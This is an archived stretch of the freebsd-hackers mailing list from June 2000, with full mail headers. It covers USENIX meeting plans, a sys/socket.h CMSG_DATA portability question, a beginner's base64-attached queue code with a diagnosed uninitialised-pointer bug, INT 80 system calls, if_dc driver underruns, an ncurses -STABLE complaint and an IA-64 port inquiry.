X-Loop: FreeBSD.ORG > So you are running this right before Usenix? Thats annoying - I've already > booked a flight to San Diego on the 17th. Meeting *at* Usenix would be > good though. Well, we can do that too since most of the engineers who will be in this meeting will be at USENIX as well (I can't speak for the Apple engineers who are attending the SMP meeting, but pretty much all the BSDi/FreeBSD people will be there). Sorry there was a scheduling conflict - we actually held this right before USENIX so that most people could fly directly from one event to the other. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 18:45:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id C533837B9BE for ; Fri, 2 Jun 2000 18:45:24 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-151-198-117-159.nnj.dialup.bellatlantic.net [151.198.117.159]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id VAA29181; Fri, 2 Jun 2000 21:44:59 -0400 (EDT) Message-ID: <39386337.ACA5B2B4@bellatlantic.net> Date: Fri, 02 Jun 2000 21:45:27 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-19990626-CURRENT i386) X-Accept-Language: ru, en MIME-Version: 1.0 To: Doug Rabson Cc: "Jordan K. Hubbard" , Greg Lehey , hackers@freebsd.org Subject: Re: I will be in Japan and Korea from June 7th through June 15th References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Rabson wrote: > > On Thu, 1 Jun 2000, Jordan K. Hubbard wrote: > > > > Does this mean we won't get the SMP stuff done next week? > > > > I'm back on the 15th (you gain 10 hours coming back) and the SMP > > meeting isn't until the 16th and 17th. Of course it will. :) > > So you are running this right before Usenix? Thats annoying - I've already > booked a flight to San Diego on the 17th. Meeting *at* Usenix would be > good though. By the way, is any FreeBSD event planned for Usenix ? I would be interested in meeting/looking at all the giants of FreeBSD thought :-) -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 19:43:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from azazel.zer0.org (azazel.zer0.org [209.133.53.200]) by hub.freebsd.org (Postfix) with ESMTP id 5AAB937BAC0 for ; Fri, 2 Jun 2000 19:43:15 -0700 (PDT) (envelope-from gsutter@zer0.org) Received: (from gsutter@localhost) by azazel.zer0.org (8.9.3/8.9.2) id TAA23539; Fri, 2 Jun 2000 19:41:41 -0700 (PDT) (envelope-from gsutter@zer0.org) Date: Fri, 2 Jun 2000 19:41:41 -0700 From: Gregory Sutter To: Sergey Babkin Cc: Doug Rabson , "Jordan K. Hubbard" , Greg Lehey , hackers@FreeBSD.ORG Subject: Re: I will be in Japan and Korea from June 7th through June 15th Message-ID: <20000602194141.A20268@azazel.zer0.org> References: <39386337.ACA5B2B4@bellatlantic.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <39386337.ACA5B2B4@bellatlantic.net>; from babkin@bellatlantic.net on Fri, Jun 02, 2000 at 09:45:27PM -0400 Organization: Zer0 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-06-02 21:45 -0400, Sergey Babkin wrote: > > By the way, is any FreeBSD event planned for Usenix ? I would > be interested in meeting/looking at all the giants of FreeBSD thought :-) Yes! We're having both a BSD BoF (with each BSD getting some time on the stage) and a Daemon News BoF. Times and places will be announced at USENIX. See you there, Sergey! Greg -- Gregory S. Sutter Computing is a terminal addiction. mailto:gsutter@zer0.org http://www.zer0.org/~gsutter/ PGP DSS public key 0x40AE3052 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 20:19:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 8DC3237B546 for ; Fri, 2 Jun 2000 20:19:27 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id UAA12039; Fri, 2 Jun 2000 20:18:59 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Sergey Babkin Cc: Doug Rabson , "Jordan K. Hubbard" , Greg Lehey , hackers@freebsd.org Subject: Re: I will be in Japan and Korea from June 7th through June 15th In-reply-to: Your message of "Fri, 02 Jun 2000 21:45:27 EDT." <39386337.ACA5B2B4@bellatlantic.net> Date: Fri, 02 Jun 2000 20:18:58 -0700 Message-ID: <12036.960002338@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Kirk McKusick is planning an "all BSD BOF" which runs for about 4 hours (woo!). More details will be available on the BOF board and/or from Kirk when he's got them finalized. - Jordan > Doug Rabson wrote: > > > > On Thu, 1 Jun 2000, Jordan K. Hubbard wrote: > > > > > > Does this mean we won't get the SMP stuff done next week? > > > > > > I'm back on the 15th (you gain 10 hours coming back) and the SMP > > > meeting isn't until the 16th and 17th. Of course it will. :) > > > > So you are running this right before Usenix? Thats annoying - I've already > > booked a flight to San Diego on the 17th. Meeting *at* Usenix would be > > good though. > > By the way, is any FreeBSD event planned for Usenix ? I would > be interested in meeting/looking at all the giants of FreeBSD thought :-) > > -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 23: 8:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by hub.freebsd.org (Postfix) with ESMTP id DE80637BAE4 for ; Fri, 2 Jun 2000 23:08:19 -0700 (PDT) (envelope-from addi@umich.edu) Received: from nic-163-c208-218.mw.mediaone.net (nic-163-c208-218.mw.mediaone.net [24.163.208.218]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id CAA02009 for ; Sat, 3 Jun 2000 02:08:17 -0400 (EDT) Date: Sat, 3 Jun 2000 02:10:39 -0400 (EDT) From: Arnar Mar Hrafnkelsson X-Sender: addi@snjaldra.ast.is To: freebsd-hackers@FreeBSD.ORG Subject: Problem in sys/socket.h ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a little issue with the sys/socket.h file under 4.0. I myself do not have access to 4.0 myself but am using output others have given me. Under 3.3 The program source at the bottom compiles fine. Under 4.0 the problem is that in sys/socket.h the macro CMSG_DATA() uses another macro ALIGN() which itself does not provide and no file included by sys/socket.h or sys/types.h. I found that the ALIGN() macro seems to be defined in machine/param.h. To me it doesn't seem very portable to include machine/param.h. But I wanted to know what is the recommended approach by the FreeBSD team. Thanks, Arnar. ======================= #ifdef HACK #include #endif #include #include #include #include #define CONTROLLEN (sizeof(struct cmsghdr) + sizeof(int)) int main(int argc,char *argv[]) { struct cmsghdr *cmptr; if ( (cmptr = malloc(CONTROLLEN)) == NULL) { perror("main malloc()"); exit(2); } cmptr->cmsg_level = SOL_SOCKET; cmptr->cmsg_type = SCM_RIGHTS; cmptr->cmsg_len = CONTROLLEN; *(int *)CMSG_DATA(cmptr) = 1; /* the fd to pass */ return 0; } ========================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 2 23:24: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n0b.san.rr.com (dt051n0b.san.rr.com [204.210.32.11]) by hub.freebsd.org (Postfix) with ESMTP id E09CD37BA4C for ; Fri, 2 Jun 2000 23:24:03 -0700 (PDT) (envelope-from DougB@gorean.org) Received: from gorean.org (doug@master [10.0.0.2]) by dt051n0b.san.rr.com (8.9.3/8.9.3) with ESMTP id XAA55669; Fri, 2 Jun 2000 23:23:55 -0700 (PDT) (envelope-from DougB@gorean.org) Message-ID: <3938A47B.8526A896@gorean.org> Date: Fri, 02 Jun 2000 23:23:55 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 5.0-CURRENT-0528 i386) X-Accept-Language: en MIME-Version: 1.0 To: Doug Rabson Cc: "Jordan K. Hubbard" , hackers@freebsd.org Subject: Re: I will be in Japan and Korea from June 7th through June 15th References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Rabson wrote: > > On Thu, 1 Jun 2000, Jordan K. Hubbard wrote: > > > > Does this mean we won't get the SMP stuff done next week? > > > > I'm back on the 15th (you gain 10 hours coming back) and the SMP > > meeting isn't until the 16th and 17th. Of course it will. :) > > So you are running this right before Usenix? Thats annoying - I've already > booked a flight to San Diego on the 17th. Meeting *at* Usenix would be > good though. I live in San Diego, and although I'm not sure if I'll be attending the tutorials and such, I'd love to be involved in any social events, BoF's, etc. Also, if anyone needs any advice on sightseeing, or whatever; feel free to ask. Doug -- "Live free or die" - State motto of my ancestral homeland, New Hampshire Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 1:47:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail3.hushmail.com (mail3.hushmail.com [216.18.8.73]) by hub.freebsd.org (Postfix) with ESMTP id 75C4A37BA3C for ; Sat, 3 Jun 2000 01:47:15 -0700 (PDT) (envelope-from core-ix@hushmail.com) Received: (from root@localhost) by mail3.hushmail.com (8.8.7/8.8.7) id BAA09423; Sat, 3 Jun 2000 01:47:14 -0700 From: core-ix@hushmail.com Message-Id: <200006030847.BAA09423@mail3.hushmail.com> Date: Ïò, 3 VI 2000 16:42:50 +0200 (GMT+03:00) Subject: Possible problem in find_symdef() To: freebsd-hackers@freebsd.org Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="1081836336.960022034728.JavaMail.root@mail3.hushmail.com" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --1081836336.960022034728.JavaMail.root@mail3.hushmail.com Content-Type: text/plain Hi all,. I'm new Unix programmer and I need to wrote some source to deal with queues deques and stacks. It is mainly based on the algorithms from programming books, so it must be trivial and errorles. But I found it hard to compile it under FreeBSD (however I can compile it under Linux).I get "Buss error" and coredump I really LIKE FreeBSD and wanna help with error- checking so I enclose the source. If it matters I use FreeBSD 3.4-STABLE on SMP2 PII/333 (ABIT motherboard) If there are errors in my source or I'm wrong please excuse my misunderstanding. Waiting for help. Thanx IMPORTANT NOTICE: If you are not using HushMail, this message could have been read easily by the many people who have access to your open personal email messages. Get your FREE, totally secure email address at http://www.hushmail.com. --1081836336.960022034728.JavaMail.root@mail3.hushmail.com Content-Type: application/octet-stream; name=src-tar.gz.gz Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=src-tar.gz.gz H4sICEO0ODkCA3NyYy50YXIA7Vhtb+I4EOYr+RVzPZ0usKWFFtgPlEqVtichtb29VffbSVVKnGI1 xCEx7Jv47zceO4kJoWVPd+1qlZGAYM8882KPPRO/EydH08b/Sr1ud9jvQwMUdUu/SG9P+/jV6w17 pyfd0wFAr3vSHzag23gBWqbSSwAaiRDyKb5PM8bCxk9Hv/JoGi59Bmep9Lk4mp07+dCBzxZLdjQ7 cBweSZh7PHJXgvst55uDy0azdxLa/kj9VSwcxtCjfwUDj7h0/RaNBiJxNQ+ynuFvFx/evGmpOcIE iBMECtyDSZSyRPLoAVZeuGTwm48aIGSBhL+jg0OuAQsl6Z2ac/1DIBuh3TIs6/9EccIfZjs10+S+ qk92q/7A5mK1oTlIxNzS7SJfS+tN5qtMb8vSljC5TCLojpy1s8/6myV+zfzvD4a9cv4PTuv8fxE6 bkOZ3l3+9fESfE96nVQmyyluKAZ8HodsziLpSS4i2EFtB9pwO2Mo4OEn4Cv8WkZTJZOCnHl4imDA CzQcY+rkYIlHTPCJyxkO8lTjgQJ85JEPIgD/S+TN+ZRMg9y0I5jAMmU++DwIUDOCFiox+RDeJPSx MTDJ0oxHx5RgyohCmkV+qtSpUR2Lezb1UIUajEWa8nsecslZavCUkjRmaAL6lYiV9kydVl7ywDC7 xUPizefIT96FQhL+1AtDkEJ7m4plMmWEdwyO4+C63H6Jmc8Cgo+Ej+IdVE/BSpUchaF97EjDpyMC d4oXHHO0IOkzSXGPAGHV9O8pvLu4vVDSGdeGdDtO2Iq4r3j0qJSpAS6WKej5XXIR+yw35NRALrP2 F8R3J0fk4TXeKBkAbY6piGQiQr0g9mpjqMRUb70Kj+kQQ4+bOT601W2gLVFXBtM7qFhSRLG56SQl 9g902Fbxr82Fp22f4LXGvZB/1VZlW45Wi8xXzEqMwm9dhda9CXhwI9QfmSzFQG9X47ZOkLDkQjW2 uQEt/ENr7ffVlZT936VMXz7fo43yjpktRImXO+bhR19dKXBMj2xvG8T8xit7uKeewql9FW15pzTR wo+RCoWT6/dXl9eXN7cXt5M/b/Tkc4tOO7VzTs6P4ebj1dWIBrSV+Yg2U13k37fOpUSIESpGVNca a80podyUf2UiKGZUJdHkgftLjOVJE3Ga7DNa31PDa4TpnJOKMYVtRAPqYFDo+Ei5rs3PcIybLQfB oGl57Vr+xgaehSlzSGsBZiSQIRPOVcbWoPm7fipqz2zYjbC9etTI2H8RNgOcsZkQ0XOuKrZHKyO3 R94532Brm2kpOY8rVr8clI21tVZRW4ljCKP/m6gFCWMu+WxqXNKDUPvkbkVOVBhbBL3a2iykdux0 yPe39wer/xY/QP/ffzvY6v+Hg7r+f/X+H/Nnd/9PkyqZFqr7pO5/3FWP+RzdfAtqTqkJHqvO92xs 9d66SH268yYs1fxC1nlr9HiZztxFuede76vsvYi3O+1CF3XaRpGI0Ysc3eqwf4L1N0v8mvnfGwxP t/r/Qd3/v1T/j+0NNjiTzQZ/R1+p20qro3SqW0BnbXV6ZSDacxqpuJLvvemjEtOnysiUIPZBkp83 mIrWpD4H8km7qMsY21Yi2yhP6TD2dc6VYXlRnr9hKwrMZ62AVtnXmICovNxZXdrFpXq7aspLoLeG RXVCA/Tmr1xmGiHjQS6aXbqxXQ5mg4W7sQ1NFeZOeSOUFW4lrD3VNKtCW71u1dG0yrkdnlcGrdL+ LdOtuc2KfWRedZeKP/XaNyv/ipeypmBt1FRTTTXVVFNNNdVUU0011VTTS9M/Fo5bBQAoAAA= --1081836336.960022034728.JavaMail.root@mail3.hushmail.com-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 5:21:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id DCBD537B9ED for ; Sat, 3 Jun 2000 05:21:35 -0700 (PDT) (envelope-from iedowse@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 3 Jun 2000 13:21:34 +0100 (BST) To: core-ix@hushmail.com Cc: freebsd-hackers@freebsd.org Subject: Re: Possible problem in find_symdef() In-reply-to: Your message of " , 3 VI 2000 16:42:50 +0200 (GMT+03:00) ." <200006030847.BAA09423@mail3.hushmail.com> Date: Sat, 03 Jun 2000 13:21:34 +0100 From: Ian Dowse Message-ID: <200006031321.aa94910@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006030847.BAA09423@mail3.hushmail.com>, core-ix@hushmail.com wri tes: >--1081836336.960022034728.JavaMail.root@mail3.hushmail.com >it hard to compile it under FreeBSD (however I can >compile it under Linux).I get "Buss error" and coredump It's a simple programming error - you're not initialising the pointer 'q' in main(), so your code is overwriting memory at whatever junk addresss ends up in q when main() is invoked. Add a q = malloc(sizeof(*q)); and it works. The compiler will spot this problem for you if you include the options '-Wall -O': > gcc -Wall -O -o q-pr q-pr.c q-pr.c: In function `main': q-pr.c:7: warning: `q' might be used uninitialized in this function Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 7: 8:20 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from lucifer.bart.nl (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id C6CC137B509 for ; Sat, 3 Jun 2000 07:08:16 -0700 (PDT) (envelope-from asmodai@lucifer.bart.nl) Received: (from asmodai@localhost) by lucifer.bart.nl (8.9.3/8.9.3) id QAA15264; Sat, 3 Jun 2000 16:08:13 +0200 (CEST) (envelope-from asmodai) Date: Sat, 3 Jun 2000 16:08:13 +0200 From: Jeroen Ruigrok van der Werven To: Arnar Mar Hrafnkelsson Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Problem in sys/socket.h ? Message-ID: <20000603160813.A15134@lucifer.bart.nl> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from addi@umich.edu on Sat, Jun 03, 2000 at 02:10:39AM -0400 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000603 08:10], Arnar Mar Hrafnkelsson (addi@umich.edu) wrote: > >#ifdef HACK >#include >#endif >#include would be a better solution in this case. FAIK. -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl Let the dead bury their dead... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 8:20:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from majordomo2.umd.edu (majordomo2.umd.edu [128.8.10.7]) by hub.freebsd.org (Postfix) with ESMTP id DFCE637B608 for ; Sat, 3 Jun 2000 08:20:35 -0700 (PDT) (envelope-from howardjp@wam.umd.edu) Received: from rac4.wam.umd.edu (root@rac4.wam.umd.edu [128.8.10.144]) by majordomo2.umd.edu (8.9.3/8.9.3) with ESMTP id LAA12205 for ; Sat, 3 Jun 2000 11:20:30 -0400 (EDT) Received: from rac4.wam.umd.edu (sendmail@localhost [127.0.0.1]) by rac4.wam.umd.edu (8.9.3/8.9.3) with SMTP id LAA06260 for ; Sat, 3 Jun 2000 11:20:30 -0400 (EDT) Received: from rac4.wam.umd.edu (howardjp@localhost) by rac4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA06255 for ; Sat, 3 Jun 2000 11:20:29 -0400 (EDT) Message-Id: <200006031520.LAA06255@rac4.wam.umd.edu> X-Authentication-Warning: rac4.wam.umd.edu: howardjp owned process doing -bs To: freebsd-hackers@freebsd.org Subject: Assembly programming under FreeBSD Date: Sat, 03 Jun 2000 11:20:23 -0400 From: James Howard Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Having just read Konstantin Boldyshev's introduction to FreeBSD assembly programming, I have a couple of questions. When I looked through some code in the source tree (and with a little background from the article), I noticed that INT 80 interface appears to be newer than an older interface, "CALL 7:0". When we was this change made and why? Why was INT 80 chosen? Since this is the same as Linux's interface, does this simplfy Linux emulation? Hinder it? Also, this is more general, what does "CALL 7:0" do? Sorry for the silly question, I got curious. Jamie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 9:33:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 9B32C37B608 for ; Sat, 3 Jun 2000 09:33:32 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id MAA09613 for ; Sat, 3 Jun 2000 12:38:40 -0400 (EDT) Message-Id: <200006031638.MAA09613@etinc.com> X-Sender: dennis@etinc.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Sat, 03 Jun 2000 12:38:53 -0400 To: hackers@freebsd.org From: Dennis Subject: if_dc in v4.0 - Forcing store and forward? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Running a Dlink quad card (570TX) in 100Mb/s full dup mode the driver complains about underruns for awhile and then ultimately sets store_and_forward which seems to make it work. Is there a way to force this easily? It seems that it should certainly be the default if full dup 100 mode is detected as the other settings fail quite easily on rather trivial activities. should this card be used with the if_dc or if_de driver? Both seem to probe it successfully, although both drivers have the same (annoying) underrun problem (that wasnt a problem or at least not screen-verbalized in 3.4). Dennis Emerging Technologies, Inc. ---------------------------------------------------------------------------- --------- http://www.etinc.com ISA and PCI T1/T3/V35/HSSI Cards for FreeBSD and LINUX Multiport T1 and HSSI/T3 UNIX-based Routers Bandwidth Management Standalone Systems Bandwidth Management software for LINUX and FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 10:11: 8 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from vexpert.dbai.tuwien.ac.at (vexpert.dbai.tuwien.ac.at [128.130.111.12]) by hub.freebsd.org (Postfix) with ESMTP id 74DB037BB64; Sat, 3 Jun 2000 10:11:03 -0700 (PDT) (envelope-from pfeifer@dbai.tuwien.ac.at) Received: from [128.130.111.2] (deneb [128.130.111.2]) by vexpert.dbai.tuwien.ac.at (8.9.3/8.9.3) with ESMTP id TAA00797; Sat, 3 Jun 2000 19:10:56 +0200 (MET DST) Date: Sat, 3 Jun 2000 19:10:56 +0200 (CEST) From: Gerald Pfeifer To: freebsd-hackers@freebsd.org Cc: "Andrey A. Chernov" , Peter Wemm , Wei Dai Subject: -STABLE (was: ncurses.h and #define trace _nc_trace) In-Reply-To: <20000526073056.A12504@freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 26 May 2000, Andrey A. Chernov wrote: > Yes, #define was a quick solution. > We need either to add a stub or to import ncurses author fix (removing > all trace function from production library). > > Latest is better IMHO, but I left to choose best way to Peter. However you do it, please fix this ASAP, and be it by reverting the original, broken patch! This causes clear breakage in -STABLE and lots of wasted time for users of the Wine port and myself (answering support requests), for example. In fact, I believe that installing that patch was a clear violation of the guidelines as described in the manual: 18.2.2.1. What is FreeBSD-STABLE? FreeBSD-STABLE is our development branch for a more low-key and conservative set of changes intended for our next mainstream release. Changes of an experimental or untested nature do not go into this branch (see FreeBSD-CURRENT). [...] We also do our best to thoroughly test fixes in current before bringing them into stable, but sometimes our tests fail to catch every case. If something breaks for you in stable, please let us know immediately! (see next section). I reported that over a week ago, but the problem still exists. Indeed, I find it interesting, to say the least, that the MFC even happened before the patch went into -CURRENT! 1.1.1.3 (vendor branch) Wed May 24 10:44:45 2000 UTC by peter CVS Tags: v5_0_19991023, HEAD; Branch: NCURSES Bring in the fix for the trace/_nc_trace issue, without breaking the vendor branching. The author has fixed this also so we can do this safely. 1.1.1.2.2.1 Tue May 23 13:42:17 2000 UTC by ache Branch: RELENG_4 MFC: trace -> _nc_trace Gerald -- Gerald "Jerry" pfeifer@dbai.tuwien.ac.at http://www.dbai.tuwien.ac.at/~pfeifer/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 10:15:28 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from tpts5.seed.net.tw (tpts5.seed.net.tw [139.175.55.241]) by hub.freebsd.org (Postfix) with ESMTP id 93A7F37BB79 for ; Sat, 3 Jun 2000 10:15:26 -0700 (PDT) (envelope-from narumi@tpts5.seed.net.tw) Received: from sh75-90.dialup.seed.net.tw ([211.74.75.90] helo=tpts5.seed.net.tw) by tpts5.seed.net.tw with esmtp (SEEDNet Mail Server v2.313fd) id 12yHW9-00030p-00 for hackers@freebsd.org; Sun, 04 Jun 2000 01:15:25 +0800 Message-ID: <39393DEF.B91727B0@tpts5.seed.net.tw> Date: Sun, 04 Jun 2000 01:18:39 +0800 From: Belldandy X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: hackers@freebsd.org Subject: An IA-64 port? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was thinking: it seems that Linux will have an IA-64 port ready when Itanium rolls out, as well as Windows, Solaris, etc. Is there any effort(or at least, any thought) on making an IA-64 port of FreeBSD? It seems Intel is trying to push IA-64 to be 'the platform' for servers and workstations, and I think FreeBSD definitely can't be left out.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 10:18:56 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 4751F37BC24 for ; Sat, 3 Jun 2000 10:18:53 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e53HIpX17839; Sat, 3 Jun 2000 10:18:51 -0700 (PDT) Date: Sat, 3 Jun 2000 10:18:51 -0700 From: Alfred Perlstein To: James Howard Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Assembly programming under FreeBSD Message-ID: <20000603101851.U17973@fw.wintelcom.net> References: <200006031520.LAA06255@rac4.wam.umd.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006031520.LAA06255@rac4.wam.umd.edu>; from howardjp@wam.umd.edu on Sat, Jun 03, 2000 at 11:20:23AM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * James Howard [000603 08:21] wrote: > Having just read Konstantin Boldyshev's introduction to FreeBSD assembly > programming, I have a couple of questions. > > When I looked through some code in the source tree (and with a little > background from the article), I noticed that INT 80 interface appears to > be newer than an older interface, "CALL 7:0". When we was this change > made and why? Why was INT 80 chosen? Since this is the same as Linux's > interface, does this simplfy Linux emulation? Hinder it? > > Also, this is more general, what does "CALL 7:0" do? > > Sorry for the silly question, I got curious. I could be totally off base, but I'm pretty sure (from memory) that the lcall interface is the ICBS interface (some standard for x86 unix binaries), the int 80 interface is supposedly quicker on more recent CPUs so it's now the default. I'm pretty certain that FreeBSD will still honor any program that uses the lcall interface. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 12: 5: 1 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from server1.mich.com (server1.mich.com [198.108.16.2]) by hub.freebsd.org (Postfix) with ESMTP id 23B4637BCB0 for ; Sat, 3 Jun 2000 12:04:58 -0700 (PDT) (envelope-from will@almanac.yi.org) Received: from almanac.yi.org (pm003-030.dialup.bignet.net [64.79.80.126]) by server1.mich.com (8.9.3/8.9.3) with ESMTP id PAA18613; Sat, 3 Jun 2000 15:04:54 -0400 Received: by almanac.yi.org (Postfix, from userid 1000) id A87D219A6; Sat, 3 Jun 2000 15:04:14 -0400 (EDT) Date: Sat, 3 Jun 2000 15:04:14 -0400 From: Will Andrews To: Belldandy Cc: hackers@FreeBSD.ORG Subject: Re: An IA-64 port? Message-ID: <20000603150414.D46626@argon.gryphonsoft.com> References: <39393DEF.B91727B0@tpts5.seed.net.tw> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <39393DEF.B91727B0@tpts5.seed.net.tw>; from narumi@tpts5.seed.net.tw on Sun, Jun 04, 2000 at 01:18:39AM +0800 X-Operating-System: FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 04, 2000 at 01:18:39AM +0800, Belldandy wrote: > I was thinking: it seems that Linux will have an IA-64 port > ready when Itanium rolls out, as well as Windows, Solaris, etc. > > Is there any effort(or at least, any thought) on making an > IA-64 port of FreeBSD? It seems Intel is trying to push IA-64 > to be 'the platform' for servers and workstations, and I think > FreeBSD definitely can't be left out.... There is definitely some effort being put into supporting IA-64. Right now it's not part of the tree. :-) -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 3 12:10:17 2000 